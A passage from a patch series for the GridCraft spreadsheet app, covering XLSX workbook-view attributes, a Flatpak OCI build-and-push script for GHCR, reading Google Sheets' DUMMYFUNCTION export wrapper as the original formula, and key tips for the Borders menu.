with the format's defaults writes the bare element it always has. + let plain = write_xlsx(&Workbook::new()).unwrap(); + let mut z = zip::ZipArchive::new(std::io::Cursor::new(plain)).unwrap(); + let mut xml = String::new(); + z.by_name("xl/workbook.xml").unwrap().read_to_string(&mut xml).unwrap(); + assert!(xml.contains(""), "defaults stay unwritten: {xml}"); +} diff --git a/crates/xlsx/src/write.rs b/crates/xlsx/src/write.rs index f03dd9b04..511dd7093 100644 --- a/crates/xlsx/src/write.rs +++ b/crates/xlsx/src/write.rs @@ -208,6 +208,27 @@ pub fn write_xlsx(wb: &Workbook, kind: XlsxKind) -> Result, IoError> { write_xlsx_named(wb, kind, None) } +/// The `` attributes beyond `activeTab`: the window's display settings +/// that differ from the format's defaults. An ordinary workbook gets none, so its file +/// is unchanged; a workbook Excel saved with the sheet tabs or scroll bars hidden +/// keeps them that way (#3057). +fn workbook_view_attrs(wb: &Workbook) -> String { + let mut attrs = String::new(); + if !wb.view.show_sheet_tabs { + attrs.push_str(" showSheetTabs=\"0\""); + } + if !wb.view.show_horizontal_scroll { + attrs.push_str(" showHorizontalScroll=\"0\""); + } + if !wb.view.show_vertical_scroll { + attrs.push_str(" showVerticalScroll=\"0\""); + } + if wb.view.tab_ratio != 600 { + let _ = write!(attrs, " tabRatio=\"{}\"", wb.view.tab_ratio); + } + attrs +} + /// Writes the workbook for the file `book_name` (a bare file name). A PivotChart is bound to its /// PivotTable in Excel only when its link starts with the workbook in brackets. pub fn write_xlsx_named(wb: &Workbook, kind: XlsxKind, book_name: Option<&str>) -> Result, IoError> { @@ -273,7 +294,9 @@ pub fn write_xlsx_named(wb: &Workbook, kind: XlsxKind, book_name: Option<&str>) let pw = wb.structure_password.as_ref().map(|h| crate::sheet_write::password_attrs(h, "workbook")).unwrap_or_default(); let _ = write!(w, ""); } - let _ = write!(w, "{sheets_xml}", kept.file_index(active)); + let _ = write!(w, "{sheets_xml}"); w.push_str(&kept.elements); if !names.is_empty() { let _ = write!(w, "{names}"); From a85b1aea3a8a3369581a749d8da041e4db014504 Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Sat, 31 Oct 2026 18:53:12 -0400 Subject: [PATCH 152/298] packaging(flatpak): add OCI image build and GHCR publishing helper (#3063) --- packaging/linux/flatpak-bundle.sh | 8 ++++ packaging/linux/flatpak-oci.sh | 64 +++++++++++++++++++++++++++++++ 2 files changed, 72 insertions(+) create mode 100755 packaging/linux/flatpak-oci.sh diff --git a/packaging/linux/flatpak-bundle.sh b/packaging/linux/flatpak-bundle.sh index 0f13a9107..5ee85b3c5 100755 --- a/packaging/linux/flatpak-bundle.sh +++ b/packaging/linux/flatpak-bundle.sh @@ -20,10 +20,12 @@ APP_ID=ai.storyteller.gridcraft FLATHUB=https://dl.flathub.org/repo/flathub.flatpakrepo TEST=1 +OCI=0 TARBALL="" while [[ $# -gt 0 ]]; do case "$1" in --no-test) TEST=0; shift ;; + --oci) OCI=1; shift ;; -h | --help) sed -n '2,14p' "$0"; exit 0 ;; -*) echo "unknown argument: $1" >&2; exit 2 ;; *) TARBALL="$1"; shift ;; @@ -61,6 +63,12 @@ OUT="$DIST/$BASENAME.flatpak" # --runtime-repo lets `flatpak install` fetch the freedesktop runtime from Flathub if missing. flatpak build-bundle --runtime-repo="$FLATHUB" "$WORK/repo" "$OUT" "$APP_ID" stable echo "wrote $OUT" +if [[ "$OCI" = 1 ]]; then + OUT_OCI="$DIST/$BASENAME-oci" + rm -rf "$OUT_OCI" + flatpak build-bundle --oci "$WORK/repo" "$OUT_OCI" "$APP_ID" stable + echo "wrote OCI layout to $OUT_OCI" +fi if [[ "$TEST" = 1 ]]; then flatpak install --user -y --noninteractive --reinstall "$OUT" diff --git a/packaging/linux/flatpak-oci.sh b/packaging/linux/flatpak-oci.sh new file mode 100755 index 000000000..fa811240e --- /dev/null +++ b/packaging/linux/flatpak-oci.sh @@ -0,0 +1,64 @@ +#!/usr/bin/env bash +# Build gridcraft as an OCI container layout and push it to GitHub Container Registry (GHCR) +# for consumption by Flatpak OCI clients (flatpak-oci-specs). +# +# Usage: +# packaging/linux/flatpak-oci.sh [--push] [TARBALL] +# +# Environment variables: +# REGISTRY Target registry image (default: ghcr.io/storytold/gridcraft) +# TAG Target image tag (default: $VERSION-$ARCH, also tags stable-$ARCH) +# GITHUB_TOKEN Token for GHCR authentication when --push is used +set -euo pipefail +# shellcheck source=../env.sh +. "$(dirname "${BASH_SOURCE[0]}")/../env.sh" +HERE="$ROOT/packaging/linux" + +PUSH=0 +TARBALL="" +while [[ $# -gt 0 ]]; do + case "$1" in + --push) PUSH=1; shift ;; + -h | --help) sed -n '2,12p' "$0"; exit 0 ;; + -*) echo "unknown argument: $1" >&2; exit 2 ;; + *) TARBALL="$1"; shift ;; + esac +done + +ARCH="$(uname -m)" +case "$ARCH" in + x86_64) ;; + aarch64 | arm64) ARCH=aarch64 ;; + *) echo "unsupported architecture $ARCH" >&2; exit 2 ;; +esac + +BASENAME="gridcraft-$VERSION-linux-$ARCH" +OUT_OCI="$DIST/$BASENAME-oci" + +echo "==> Building Flatpak OCI layout for $BASENAME" +"$HERE/flatpak-bundle.sh" --oci --no-test "${TARBALL:-}" + +[[ -d "$OUT_OCI" ]] || { echo "error: $OUT_OCI layout not generated" >&2; exit 1; } + +REGISTRY="${REGISTRY:-ghcr.io/storytold/gridcraft}" +TAG="${TAG:-$VERSION-$ARCH}" + +echo "==> OCI layout ready at $OUT_OCI (Target: $REGISTRY:$TAG)" + +if [[ "$PUSH" = 1 ]]; then + command -v skopeo >/dev/null || { echo "error: skopeo is required to push OCI images (apt install skopeo)" >&2; exit 1; } + + AUTH_ARGS=() + if [[ -n "${GITHUB_TOKEN:-}" ]]; then + AUTH_ARGS=(--dest-creds "${GITHUB_ACTOR:-storytold}:$GITHUB_TOKEN") + fi + + echo "==> Pushing to $REGISTRY:$TAG" + skopeo copy --format oci "${AUTH_ARGS[@]}" "oci:$OUT_OCI" "docker://$REGISTRY:$TAG" + + # Also update architecture-specific stable tag + echo "==> Pushing to $REGISTRY:stable-$ARCH" + skopeo copy --format oci "${AUTH_ARGS[@]}" "oci:$OUT_OCI" "docker://$REGISTRY:stable-$ARCH" + + echo "==> Push complete" +fi From 2c0a00fbae58d90e194d9370b29f820ad3cb5c15 Mon Sep 17 00:00:00 2001 From: Harrison Smith Date: Sat, 31 Oct 2026 19:19:20 -0600 Subject: [PATCH 153/298] #2871: open Google Sheets' DUMMYFUNCTION export wrapper as the original formula Google Sheets' XLSX export writes a formula that uses a function it thinks Excel lacks as IFERROR(__xludf.DUMMYFUNCTION(""), ). GridCraft showed the wrapper as the formula. fmla::from_file, which every cell formula read goes through (plain, shared master and t="array"), now recognises exactly that shape: IFERROR (with or without _xlfn.) of a single-string __xludf.DUMMYFUNCTION call, any case. If the string parses, the formula inside replaces the wrapper, as the whole formula or nested in a larger one (parenthesised unless it is a single operand). The cell keeps the file's cached value. Bounded on hostile input: inner text over MAX_FORMULA_LEN is not parsed, only one level is unwrapped, and a result that no longer parses (nesting past the parser's limit) keeps the file's formula. Text that doesn't parse keeps the wrapper. Saving writes the real formula with Excel's _xlfn. prefixes, as Excel does with the _xlfn functions it knows. Keeping cached results for functions GridCraft can't calculate is #2770 and not part of this change. Co-Authored-By: Claude Opus 5.5 --- crates/xlsx/src/fmla.rs | 134 ++++++++++++++++++- crates/xlsx/src/tests.rs | 1 + crates/xlsx/src/tests/google_sheets_dummy.rs | 92 +++++++++++++ docs/file-format-parity.md | 16 ++- 4 files changed, 237 insertions(+), 6 deletions(-) create mode 100644 crates/xlsx/src/tests/google_sheets_dummy.rs diff --git a/crates/xlsx/src/fmla.rs b/crates/xlsx/src/fmla.rs index 966088d5b..77c13511b 100644 --- a/crates/xlsx/src/fmla.rs +++ b/crates/xlsx/src/fmla.rs @@ -140,15 +140,86 @@ fn strip_param_prefix(n: String) -> String { pub fn from_file(text: &str) -> String { let body = text.strip_prefix('=').unwrap_or(text); match gridcraft_formula::parse(body) { - Ok(e) => gridcraft_formula::print(&e.map(&mut |x| match x { - Expr::Name(n) => Expr::Name(strip_param_prefix(n)), - Expr::Call(n, args) => Expr::Call(strip_param_prefix(n), args), - other => other, - })), + Ok(e) => { + let e = unwrap_dummy_functions(e); + gridcraft_formula::print(&e.map(&mut |x| match x { + Expr::Name(n) => Expr::Name(strip_param_prefix(n)), + Expr::Call(n, args) => Expr::Call(strip_param_prefix(n), args), + other => other, + })) + } Err(_) => body.to_string(), } } +/// The function Google Sheets' XLSX export wraps formulas in when it thinks Excel lacks one of +/// their functions. +const DUMMY_FUNCTION: &str = "__xludf.DUMMYFUNCTION"; + +/// The original formula inside Google Sheets' export wrapper +/// `IFERROR(__xludf.DUMMYFUNCTION(""),)`, if `e` is that +/// wrapper and the text parses. The parser has already undone the doubled quotes. The cached value +/// is also the cell's ``, which the reader keeps as the cell's value. +fn dummy_function_inner(e: &Expr) -> Option { + let Expr::Call(name, args) = e else { return None }; + // The parser has already dropped an `_xlfn.` prefix from IFERROR. + if !name.eq_ignore_ascii_case("IFERROR") { + return None; + } + let [Expr::Call(dummy, inner), _fallback] = args.as_slice() else { return None }; + if !dummy.eq_ignore_ascii_case(DUMMY_FUNCTION) { + return None; + } + let [Expr::Text(src)] = inner.as_slice() else { return None }; + // The text came out of a formula within the length limit, so it is within it too; check + // anyway rather than rely on that. + if src.len() > gridcraft_formula::MAX_FORMULA_LEN && src.chars().count() > gridcraft_formula::MAX_FORMULA_LEN { + return None; + } + gridcraft_formula::parse(src).ok() +} + +/// Replaces each Google Sheets export wrapper (see [`dummy_function_inner`]) with the formula it +/// holds, for the whole formula or anywhere inside it. One level only: wrappers in the unwrapped +/// text stay as they are, so the work is bounded by the formula's length. If the result no longer +/// parses (nesting beyond the parser's limit), the formula is kept as the file had it. +fn unwrap_dummy_functions(e: Expr) -> Expr { + let mut found = false; + e.walk(&mut |x| { + found |= matches!(x, Expr::Call(n, _) if n.eq_ignore_ascii_case(DUMMY_FUNCTION)); + }); + if !found { + return e; + } + // The whole formula: no parentheses needed. + if let Some(inner) = dummy_function_inner(&e) { + return inner; + } + let original = e.clone(); + let rewritten = e.map(&mut |x| match dummy_function_inner(&x) { + // The printer writes no parentheses of its own, so keep the inner formula's precedence + // with explicit ones unless it is a single operand. + Some( + inner @ (Expr::Call(..) + | Expr::Ref(_) + | Expr::Name(_) + | Expr::Number(_) + | Expr::Text(_) + | Expr::Bool(_) + | Expr::Error(_) + | Expr::Paren(_) + | Expr::Array(_) + | Expr::Struct(_)), + ) => inner, + Some(inner) => Expr::Paren(Box::new(inner)), + None => x, + }); + match gridcraft_formula::parse(&gridcraft_formula::print(&rewritten)) { + Ok(_) => rewritten, + Err(_) => original, + } +} + #[cfg(test)] mod tests { use super::*; @@ -284,6 +355,59 @@ mod tests { assert_eq!(to_file(&Formula::new("GROUPBY(A1:A3,B1:B3,\"SUM\")")), "_xlfn.GROUPBY(A1:A3,B1:B3,\"SUM\")"); } + /// #2871: Google Sheets' export wraps formulas as + /// `IFERROR(__xludf.DUMMYFUNCTION(""),)`. + #[test] + fn google_sheets_dummy_function_wrapper() { + // The issue's formula, with its embedded newlines and doubled quotes. + let file = "IFERROR(__xludf.DUMMYFUNCTION(\"MAX(\n IFERROR(MAX(FILTER(ROW(C:C), C:C=\"\"שולם\"\")), 0),\n IFERROR(MAX(FILTER(ROW(D:D), D:D=\"\"שולם\"\")), 0)\n)\"),40)"; + let want = "MAX(IFERROR(MAX(FILTER(ROW(C:C),C:C=\"שולם\")),0),IFERROR(MAX(FILTER(ROW(D:D),D:D=\"שולם\")),0))"; + assert_eq!(from_file(file), want); + assert_eq!(from_file(&format!("={file}")), want); + // Any case, and IFERROR with its `_xlfn.` prefix. + assert_eq!(from_file("_xlfn.IFERROR(__XLUDF.dummyFunction(\"A1&\"\"x\"\"\"),\"1x\")"), "A1&\"x\""); + assert_eq!(from_file("iferror(__xludf.DUMMYFUNCTION(\"ARRAYFORMULA(A1:A3*2)\"),2)"), "ARRAYFORMULA(A1:A3*2)"); + // Nested: an operator expression keeps its precedence; a call or operand needs no parentheses. + assert_eq!(from_file("1+IFERROR(__xludf.DUMMYFUNCTION(\"A1+2\"),5)*3"), "1+(A1+2)*3"); + assert_eq!(from_file("SUM(IFERROR(__xludf.DUMMYFUNCTION(\"FILTER(A1:A3,B1:B3)\"),0),B1)"), "SUM(FILTER(A1:A3,B1:B3),B1)"); + assert_eq!(from_file("IFERROR(__xludf.DUMMYFUNCTION(\"A1\"),0)&IFERROR(__xludf.DUMMYFUNCTION(\"-B1\"),0)"), "A1&(-B1)"); + // One level only: a wrapper inside the unwrapped text stays. + assert_eq!( + from_file("IFERROR(__xludf.DUMMYFUNCTION(\"IFERROR(__xludf.DUMMYFUNCTION(\"\"A1\"\"),0)\"),0)"), + "IFERROR(__XLUDF.DUMMYFUNCTION(\"A1\"),0)" + ); + } + + /// Text that doesn't parse, and shapes that aren't exactly the wrapper, are kept as they were. + #[test] + fn google_sheets_dummy_function_kept_when_not_the_wrapper() { + for file in [ + "IFERROR(__xludf.DUMMYFUNCTION(\"SUM(\"),5)", + "IFERROR(__xludf.DUMMYFUNCTION(\"1+\"),5)+1", + "IFERROR(__xludf.DUMMYFUNCTION(A1),5)", + "IFERROR(__xludf.DUMMYFUNCTION(\"A1\",\"B1\"),5)", + "IFERROR(__xludf.DUMMYFUNCTION(\"A1\"))", + "IFERROR(__xludf.DUMMYFUNCTION(\"A1\"),5,6)", + "IFNA(__xludf.DUMMYFUNCTION(\"A1\"),5)", + "IFERROR(_xludf.DUMMYFUNCTION(\"A1\"),5)", + "__xludf.DUMMYFUNCTION(\"A1\")", + ] { + let kept = gridcraft_formula::print(&gridcraft_formula::parse(file).unwrap()); + assert_eq!(from_file(file), kept, "{file}"); + } + // Inner text over the formula length limit. + let long = format!("IFERROR(__xludf.DUMMYFUNCTION(\"{}\"),5)", "1".repeat(gridcraft_formula::MAX_FORMULA_LEN + 1)); + assert!(from_file(&long).contains("DUMMYFUNCTION")); + // Nesting that would go past the parser's depth limit once unwrapped is kept as well. + let deep = |n: usize, mid: &str| format!("{}{mid}{}", "(".repeat(n), ")".repeat(n)); + let inner = deep(200, "1").replace('"', "\"\""); + let file = deep(200, &format!("1+IFERROR(__xludf.DUMMYFUNCTION(\"{inner}\"),5)")); + assert!(gridcraft_formula::parse(&file).is_ok()); + let read = from_file(&file); + assert!(read.contains("DUMMYFUNCTION")); + assert!(gridcraft_formula::parse(&read).is_ok()); + } + #[test] fn let_lambda_params() { assert_eq!(to_file(&Formula::new("LET(x,1,x+1)")), "_xlfn.LET(_xlpm.x,1,_xlpm.x+1)"); diff --git a/crates/xlsx/src/tests.rs b/crates/xlsx/src/tests.rs index 73be1a064..cf138fcf8 100644 --- a/crates/xlsx/src/tests.rs +++ b/crates/xlsx/src/tests.rs @@ -9,6 +9,7 @@ mod chart_ref_offsets; mod csv_tests; mod encrypted_tests; mod fixtures; +mod google_sheets_dummy; mod ink_roundtrip; mod literal_category_roundtrip; mod locale_numfmt; diff --git a/crates/xlsx/src/tests/google_sheets_dummy.rs b/crates/xlsx/src/tests/google_sheets_dummy.rs new file mode 100644 index 000000000..37e27ecc4 --- /dev/null +++ b/crates/xlsx/src/tests/google_sheets_dummy.rs @@ -0,0 +1,92 @@ +//! #2871: Google Sheets' XLSX export writes a formula that uses a function it thinks Excel lacks +//! as `IFERROR(__xludf.DUMMYFUNCTION(""),)`. GridCraft +//! reads the formula inside, keeps the file's cached value, and saves the real formula. + +use gridcraft_core::{CellRef, Value}; +use gridcraft_model::{Formula, Workbook}; + +use crate::package::Package; +use crate::{read_xlsx, write_xlsx}; + +fn at(s: &str) -> CellRef { + CellRef::parse(s).unwrap() +} + +/// The issue's formula as Google writes it, with real newlines in the string literal. +const HEBREW: &str = "IFERROR(__xludf.DUMMYFUNCTION(\"MAX(\n IFERROR(MAX(FILTER(ROW(C:C), C:C=\"\"שולם\"\")), 0),\n IFERROR(MAX(FILTER(ROW(D:D), D:D=\"\"שולם\"\")), 0)\n)\"),40)"; +const HEBREW_MODEL: &str = "MAX(IFERROR(MAX(FILTER(ROW(C:C),C:C=\"שולם\")),0),IFERROR(MAX(FILTER(ROW(D:D),D:D=\"שולם\")),0))"; + +/// A sheet as Google's export writes it: plain, `t="array"` and shared formulas, a wrapper inside +/// a larger formula, and one whose inner text doesn't parse. +fn google_book() -> Vec { + let esc = |s: &str| s.replace('&', "&").replace('<', "<").replace('>', ">"); + let body = format!( + concat!( + "", + r#"{hebrew}401"#, + r#"_xlfn.IFERROR(__xludf.DUMMYFUNCTION("FILTER(B1:B3,B1:B3>1)"),2)2"#, + r#"IFERROR(__xludf.DUMMYFUNCTION("B1*2"),2)2"#, + r#"1+IFERROR(__xludf.DUMMYFUNCTION("B1+B2"),5)6"#, + r#"IFERROR(__xludf.DUMMYFUNCTION("SUM("),5)5"#, + r#"IFERROR(__xludf.dummyfunction("""a""&B1&CHAR(10)& B2"),"a1")a1"#, + r#"438"#, + r#"36"#, + "" + ), + hebrew = esc(HEBREW), + ); + super::minimal(&body, &[], "", "") +} + +fn formula(wb: &Workbook, cell: &str) -> Formula { + let c = wb.sheets[0].cell(at(cell)).unwrap(); + Formula::clone(c.formula.as_ref().unwrap_or_else(|| panic!("{cell} has no formula"))) +} + +fn value(wb: &Workbook, cell: &str) -> Value { + wb.sheets[0].cell(at(cell)).unwrap().value.clone() +} + +fn assert_google_book(wb: &Workbook) { + assert_eq!(formula(wb, "A1").text, HEBREW_MODEL); + let e1 = formula(wb, "E1"); + assert_eq!(e1.text, "FILTER(B1:B3,B1:B3>1)"); + assert_eq!(e1.array, Some(gridcraft_core::RangeRef::parse("E1:E2").unwrap())); + assert_eq!(formula(wb, "F1").text, "B1*2"); + assert_eq!(formula(wb, "F2").text, "B2*2"); + assert_eq!(formula(wb, "F3").text, "B3*2"); + assert_eq!(formula(wb, "G1").text, "1+(B1+B2)"); + assert_eq!(formula(wb, "H1").text, "IFERROR(__XLUDF.DUMMYFUNCTION(\"SUM(\"),5)"); + assert_eq!(formula(wb, "I1").text, "\"a\"&B1&CHAR(10)&B2"); + // The cached values are the file's (inside an array range the reader keeps only the anchor's). + for (cell, v) in [("A1", 40.0), ("E1", 2.0), ("F1", 2.0), ("F2", 8.0), ("F3", 6.0), ("G1", 6.0), ("H1", 5.0)] { + assert_eq!(value(wb, cell), Value::Number(v), "{cell}"); + } + assert_eq!(value(wb, "I1"), Value::text("a1")); + // Every unwrapped formula parses. + for cell in ["A1", "E1", "F1", "F2", "F3", "G1", "I1"] { + assert!(formula(wb, cell).expr().is_some(), "{cell}"); + } +} + +#[test] +fn google_sheets_wrapper_reads_as_the_original_formula() { + let (wb, _) = read_xlsx(&google_book()).unwrap(); + assert_google_book(&wb); +} + +/// Saving writes the real formula, with the file prefixes Excel expects, as for any formula +/// GridCraft reads; reopening gives the same workbook. +#[test] +fn google_sheets_wrapper_saves_the_real_formula() { + let (wb, _) = read_xlsx(&google_book()).unwrap(); + let saved = write_xlsx(&wb).unwrap(); + let mut pkg = Package::open(&saved).unwrap(); + let xml = String::from_utf8(pkg.read("xl/worksheets/sheet1.xml").unwrap().unwrap()).unwrap(); + assert!(xml.contains("MAX(IFERROR(MAX(_xlfn._xlws.FILTER(ROW(C:C),C:C=\"שולם\")),0)"), "{xml}"); + assert!(xml.contains("_xlfn._xlws.FILTER(B1:B3,B1:B3>1)"), "{xml}"); + // Only the formula whose inner text doesn't parse keeps its wrapper. + assert_eq!(xml.matches("DUMMYFUNCTION").count(), 1, "{xml}"); + let (reopened, _) = read_xlsx(&saved).unwrap(); + assert_google_book(&reopened); +} diff --git a/docs/file-format-parity.md b/docs/file-format-parity.md index 1523e9d94..9ad905a96 100644 --- a/docs/file-format-parity.md +++ b/docs/file-format-parity.md @@ -1,6 +1,6 @@ # File-format parity -> **Last reviewed:** 2026-10-11 · **Last updated:** 2026-10-26 · **Change:** minor (`file.exportCsv {values: true}` writes raw values for automation; .xls dialog sheets are skipped instead of read as worksheets; `.xls` import reads each sheet's display options from WINDOW2: right-to-left, gridlines, headings, zeros, formulas; XLSX text boxes and shapes keep their paragraphs' right-to-left direction on save; CSV/TSV/TXT can open with every field kept as text via `file.open {csvAsText}`; formulas over Excel's 8,192 characters, and `%` or call chains past the nesting limit, are parse errors instead of stack overflows when a file is opened; XLSX PivotTables read and write `rowGrandTotals`/`colGrandTotals` the way Excel does, so a table saved with only one grand total opens with the right one; HTML export keeps right-to-left; CSV and text import detects likely Windows-1256 Arabic when invalid UTF-8 has Arabic byte runs; other invalid UTF-8 remains Windows-1252; HTML export places pictures and charts, as inline SVG, at their anchors) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-11 · **Last updated:** 2026-10-31 · **Change:** minor (formulas from Google Sheets' XLSX export open as the original formula instead of `IFERROR(__xludf.DUMMYFUNCTION(…),…)`, and save as it; `file.exportCsv {values: true}` writes raw values for automation; .xls dialog sheets are skipped instead of read as worksheets; `.xls` import reads each sheet's display options from WINDOW2: right-to-left, gridlines, headings, zeros, formulas; XLSX text boxes and shapes keep their paragraphs' right-to-left direction on save; CSV/TSV/TXT can open with every field kept as text via `file.open {csvAsText}`; formulas over Excel's 8,192 characters, and `%` or call chains past the nesting limit, are parse errors instead of stack overflows when a file is opened; XLSX PivotTables read and write `rowGrandTotals`/`colGrandTotals` the way Excel does, so a table saved with only one grand total opens with the right one; HTML export keeps right-to-left; CSV and text import detects likely Windows-1256 Arabic when invalid UTF-8 has Arabic byte runs; other invalid UTF-8 remains Windows-1252; HTML export places pictures and charts, as inline SVG, at their anchors) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Every format Excel opens or saves, with GridCraft's read and write support, fidelity and tests. Part of [target-app-parity.md](target-app-parity.md). **File formats: ~50% ready, 80–120 h** @@ -39,6 +39,19 @@ names keep the mark; retyping the formula drops it, and the writer then decides formula's shape. Rich-value metadata other than cell pictures (data types, `#SPILL!` error values) is still dropped. +Formulas from Google Sheets' XLSX export open as the formulas written in Google Sheets (#2871). +Google writes a formula that uses a function it thinks Excel lacks as +`IFERROR(__xludf.DUMMYFUNCTION(""),)`, which Excel shows +as the cached fallback. GridCraft recognises exactly that shape (any case, with or without +`_xlfn.` on `IFERROR`), in plain, shared and `t="array"` formulas, as the whole formula or inside a +larger one (`=1+IFERROR(__xludf.DUMMYFUNCTION("A1+2"),5)` opens as `=1+(A1+2)`), and reads the +formula inside when it parses. The cell keeps the file's cached value. Inner text that doesn't +parse, is longer than 8,192 characters or would nest past the parser's limit keeps the wrapper, +and only one level is unwrapped. **Saving writes the real formula** (with `_xlfn.` prefixes, e.g. +`_xlfn._xlws.FILTER`), not the wrapper: this is what Excel does with the `_xlfn.` functions it +knows. A function GridCraft can't calculate then shows its error rather than the cached value; +keeping saved results for those is #2770 (`google_sheets_dummy.rs`, `fmla.rs`). + | Format | Excel | GridCraft read | GridCraft write | Fidelity / notes | Tests | |---|---|---|---|---|---| | `.xlsx` Excel Workbook (transitional) | R/W, native | yes | yes | Cells, shared/array/dynamic formulas, shared strings (with their Japanese phonetic runs — ふりがな — kept through open + save: `` offsets and readings and `` are written back next to the same string; the table holds each text once, so duplicate `` items whose text is the same but whose readings differ keep only the first reading, with a warning on open), styles, themes, merges, CF, validation, tables, comments and notes, hyperlinks, names, freeze panes, outline, print settings, pictures, shapes, charts (simplified, see [chart-parity.md](chart-parity.md)), sparklines, PivotTables (caches and tables), protection, calc settings, show objects (`workbookPr showObjects`). **Kept unchanged on save (pass-through, `passthrough.rs`):** custom document properties, ribbon customisation and add-in task panes, custom XML, links to external workbooks (never followed or refreshed), data connections, sheet query tables, printer settings (#324), form controls, ActiveX controls, OLE objects and sheet backgrounds (with their VML shapes), and chart sheets (#727: the sheet, drawing, chart, style and colour parts are written back unchanged in their place, and left out when a sheet they plot was deleted or renamed or a worksheet took their name; they can't be edited or created); dropped when their sheet is deleted or their parts point at content GridCraft rewrites. **Not preserved:** slicers and slicer caches, timelines, data model, query tables attached to tables, sheet and workbook `extLst` entries we don't model, chart details; Strict Open XML files keep nothing. Never checked in Excel across a corpus: repair prompts unknown. 100 MB files fail (#175) A picture used on several sheets is written once (#985). | `roundtrip.rs`, `fixtures.rs`, `malformed.rs`, `pivot_tests.rs` | @@ -110,6 +123,7 @@ refresh. Counted under features (Get & Transform, ~10% ready), not here. | Date | Change | Summary | |---|---|---| +| 2026-10-31 | minor | XLSX open reads Google Sheets' `IFERROR(__xludf.DUMMYFUNCTION("…"),cached)` export wrapper as the formula inside (plain, shared and array formulas, whole or nested; unparseable, over-long or over-deep inner text keeps the wrapper) and keeps the cached value; saving writes the real formula with Excel's `_xlfn.` prefixes (#2871) | | 2026-10-21 | minor | HTML (Save as Web Page) writes pictures (`data:` URI ``) and charts (inline SVG from the chart crate's drawing primitives, text included) at their anchors; the table uses the sheet's column widths and row heights when the sheet has either, and output for sheets without pictures or charts is unchanged | | 2026-10-20 | trivial | XLSX shared strings: Japanese phonetic runs (ふりがな, `` with ``) are read into the workbook and written back next to the string with the same text, so an open + save no longer deletes them; bad offsets and readings are dropped with a warning, a `` without runs is kept on its own, and when duplicate `` items share a text but not a reading only the first reading is written (reported on open) (`phonetic_tests.rs`) | | 2026-10-20 | minor | A workbook theme's major/minor per-script typefaces (``, also Hebr, Jpan and the rest) are read and written back in file order after ``; they were dropped before. A hostile file is held to 64 entries of 256 characters | From c55a7e35aadefeb482d759af7d3fec64c3d59578 Mon Sep 17 00:00:00 2001 From: Harrison Smith Date: Sat, 31 Oct 2026 19:48:37 -0600 Subject: [PATCH 154/298] #2964: Alt, H, B opens the Borders menu with its item letters At the "HB" level every Borders sequence (HBA..HBW) shares the prefix, so control_badge drew no badge and nothing opened: after B the screen showed no key tips at all, although the next letter still applied its preset. The Borders menu now opens at its group level, as Excel's does, with each preset's letter (told apart by its params) and More Borders' M. A letter or Esc changes the prefix, which closes the menu as before; clicking the arrow still toggles it. Co-Authored-By: Claude Opus 5.5 --- crates/ui-egui/src/keytips/keytip_table.rs | 29 ++++++++++++++++++++++ crates/ui-egui/src/ribbon/home.rs | 18 +++++++++++--- crates/ui-egui/tests/keytips.rs | 26 +++++++++++++++++++ 3 files changed, 70 insertions(+), 3 deletions(-) diff --git a/crates/ui-egui/src/keytips/keytip_table.rs b/crates/ui-egui/src/keytips/keytip_table.rs index d14af141b..5303298bc 100644 --- a/crates/ui-egui/src/keytips/keytip_table.rs +++ b/crates/ui-egui/src/keytips/keytip_table.rs @@ -92,6 +92,25 @@ pub fn item_letter(prefix: &str, target: &str) -> Option<&'static str> { sequences_for(target).into_iter().find(|seq| seq.len() == prefix.len() + 1 && seq.starts_with(prefix)) } +/// True when `prefix` is the group level of a menu control: some of `target`'s sequences finish +/// one key below it (Borders' "HB" before HBA..HBW). The menu opens there, as Excel's does, so its +/// item letters show. +pub fn opens_menu(prefix: &str, target: &str) -> bool { + !prefix.is_empty() && is_group_level(prefix) && sequences_for(target).iter().any(|seq| seq.len() == prefix.len() + 1 && seq.starts_with(prefix)) +} + +/// The badge for a menu item that runs `target` with `params` (compact JSON, as `keytips.json` +/// writes it): its finish sequence one key below the prefix. Items sharing one command (the +/// Borders presets) are told apart by their params. +pub fn item_letter_with(prefix: &str, target: &str, params: &str) -> Option<&'static str> { + SEQUENCES.iter().find_map(|(seq, entry)| match entry { + Entry::Finish(Action::CommandWith(id, p)) if *id == target && *p == params && seq.len() == prefix.len() + 1 && seq.starts_with(prefix) => { + Some(*seq) + } + _ => None, + }) +} + /// Badge sequences for a command control: every sequence for `target` that continues from the /// current prefix (the painter strips the prefix, so the remaining letters show). pub fn control_badges(prefix: &str, target: &str) -> Vec<&'static str> { @@ -197,6 +216,16 @@ mod tests { assert!(group_extension("E", &["dialog:pasteSpecial"]).is_empty(), "the finish letter paints on the menu item"); } + #[test] + fn menu_levels_and_item_letters_with_params() { + assert!(opens_menu("HB", "home.borders")); + assert!(!opens_menu("H", "home.borders"), "the tab level shows the HB badge, not the menu"); + assert!(!opens_menu("", "home.borders")); + assert_eq!(item_letter_with("HB", "home.borders", "{\"preset\":\"all\"}"), Some("HBA")); + assert_eq!(item_letter_with("HB", "home.borders", "{\"preset\":\"bottom\"}"), Some("HBO")); + assert_eq!(item_letter_with("H", "home.borders", "{\"preset\":\"all\"}"), None); + } + #[test] fn item_letter_is_one_level_deep() { assert_eq!(item_letter("HV", "dialog:pasteSpecial"), Some("HVS")); diff --git a/crates/ui-egui/src/ribbon/home.rs b/crates/ui-egui/src/ribbon/home.rs index c061dfac3..34369be51 100644 --- a/crates/ui-egui/src/ribbon/home.rs +++ b/crates/ui-egui/src/ribbon/home.rs @@ -158,7 +158,11 @@ pub(super) fn home(app: &mut SheetApp, ui: &mut Ui) { act(app, "home.borders", json!({"preset": app.grid.last_border.clone()})); } ba.widget_info(|| egui::WidgetInfo::labeled(egui::Role::Button, ui.is_enabled(), "Border presets")); - egui::Popup::menu(&ba).show(|ui| { + // Alt, H, B opens the menu with each item's letter, as Excel's does (#2964); a letter + // or Esc changes the prefix, which closes it again (`ribbon_keys`). + let prefix = app.keytips.prefix().unwrap_or_default().to_owned(); + let keyed = keytip_table::opens_menu(&prefix, "home.borders"); + egui::Popup::menu(&ba).open_memory(popup_command(keyed, ba.clicked())).show(|ui| { for (label, preset) in [ ("Bottom Border", "bottom"), ("Top Border", "top"), @@ -175,13 +179,21 @@ pub(super) fn home(app: &mut SheetApp, ui: &mut Ui) { ("Top and Double Bottom Border", "topDoubleBottom"), ("Inside Borders", "inside"), ] { - if crate::border_preview::preset_button(ui, label, preset).clicked() { + let 